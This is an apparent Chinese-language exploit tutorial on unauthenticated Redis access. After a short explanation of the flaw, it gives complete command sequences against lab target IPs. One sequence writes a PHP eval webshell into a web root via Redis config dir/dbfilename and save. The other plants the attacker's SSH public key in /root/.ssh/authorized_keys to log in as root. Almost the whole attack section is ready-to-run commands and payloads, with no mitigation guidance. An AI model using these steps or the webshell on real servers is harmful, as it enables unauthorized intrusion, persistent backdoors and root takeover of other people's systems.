0x01 什么是Redis未授權訪問漏洞
Redis 默認情況下,會綁定在 0.0.0.0:6379,如果沒有進行采用相關的策略,比如添加防火牆規則避免其他非信任來源 ip 訪問等,這樣將會將 Redis 服務暴露到公網上,如果在沒有設置密碼認證(一般為空)的情況下,會導致任意用戶在可以訪問目標服務器的情況下未授權訪問 Redis 以及讀取 Redis 的數據。攻擊者在未授權訪問 Redis 的情況下,利用 Redis 自身的提供的config 命令,可以進行寫文件操作,攻擊者可以成功將自己的ssh公鑰寫入目標服務器的 /root/.ssh 文件夾的authotrized_keys 文件中,進而可以使用對應私鑰直接使用ssh服務登錄目標服務器。
簡單說,漏洞的產生條件有以下兩點:
(1)Redis綁定在 0.0.0.0:6379,且沒有進行添加防火牆規則避免其他非信任來源ip訪問等相關安全策略,直接暴露在公網;
(2)沒有設置密碼認證(一般為空),可以免密碼遠程登錄redis服務。
漏洞的危害
(1)攻擊者無需認證訪問到內部數據,可能導致敏感信息泄露,黑客也可以惡意執行flushall來清空所有數據;
(2)攻擊者可通過EVAL執行lua代碼,或通過數據備份功能往磁盤寫入后門文件;
(3)最嚴重的情況,如果Redis以root身份運行,黑客可以給root賬戶寫入SSH公鑰文件,直接通過SSH登錄受害服務器
0x02 利用Redis寫Webshell
-
利用前提:
- l 靶機Redis鏈接未授權,在攻擊機上能用redis-cli連上,如上圖,並未登陸驗證
- l 開了web服務器,並且知道路徑(如利用phpinfo,或者錯誤爆路經),還需要具有文件讀寫增刪改查權限(我們可以將dir設置為一個目錄a,而dbfilename為文件名b,再執行save或bgsave,則我們就可以寫入一個路徑為a/b的任意文件。)
1.通過phpinfo頁面或者其他方法獲取Redis服務器網站的根目錄
得到服務器網站的根目錄是:/var/www/html
2. 通過redis-cli與Redis服務端進行連接,通過Redis未授權直接連接Redis服務端
root@ubuntu:~# redis-cli -h 192.168.5.57
利用前面我們已經得知的網站根目錄開始利用Redis寫Webshell(一句話木馬)
config set dir /var/www/html
config set dbfilename webshell.php
set webshell "<?php echo @eval($_POST['x']); ?>"
save
連接shell
0x02 利用"公私鑰"認證獲取root權限,ssh免密登陸目標服務器
1、 在攻擊機(redis客戶端)中生成ssh公鑰和私鑰,密碼設置為空
root@ubuntu:~# ssh-keygen -t rsa
2、 進入/root/.ssh目錄: cd /root/.ssh , 講生成的公鑰保存到1.txt(名字隨意)
root@ubuntu:~# cd /root/.ssh/ root@ubuntu:~/.ssh# (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt root@ubuntu:~/.ssh# ls -a . .. 1.txt id_rsa id_rsa.pub known_hosts
3、 鏈接目標服務器上的Redis服務,將保存的公鑰1.txt寫入Redis(使用redis-cli -h ip命令連接靶機,將文件寫入)
cat 1.txt | redis-cli -h 10.10.10.135 -x set crack
4、 通過客戶端遠程登陸目標靶機的Redis服務,並使用 CONFIG GET dir 命令得到Redis備份的路徑
redis-cli -h 10.10.10.135 CONFIG GET dir
5、 更改Redis備份路徑為ssh公鑰存放目錄(一般默認為/root/.ssh)
config set dir /root/.ssh
6、 設置上傳公鑰的備份文件名字為authorized_keys
CONFIG SET dbfilename authorized_keys
7、 檢查是否更改成功(查看有沒有authorized_keys文件),沒有問題就保存然后退出
CONFIG GET dbfilename
save
exit
8、 在攻擊機上使用SSH免密登錄靶機
ssh -i id_rsa root@x.x.xx
最后成功root權限登陸目標系統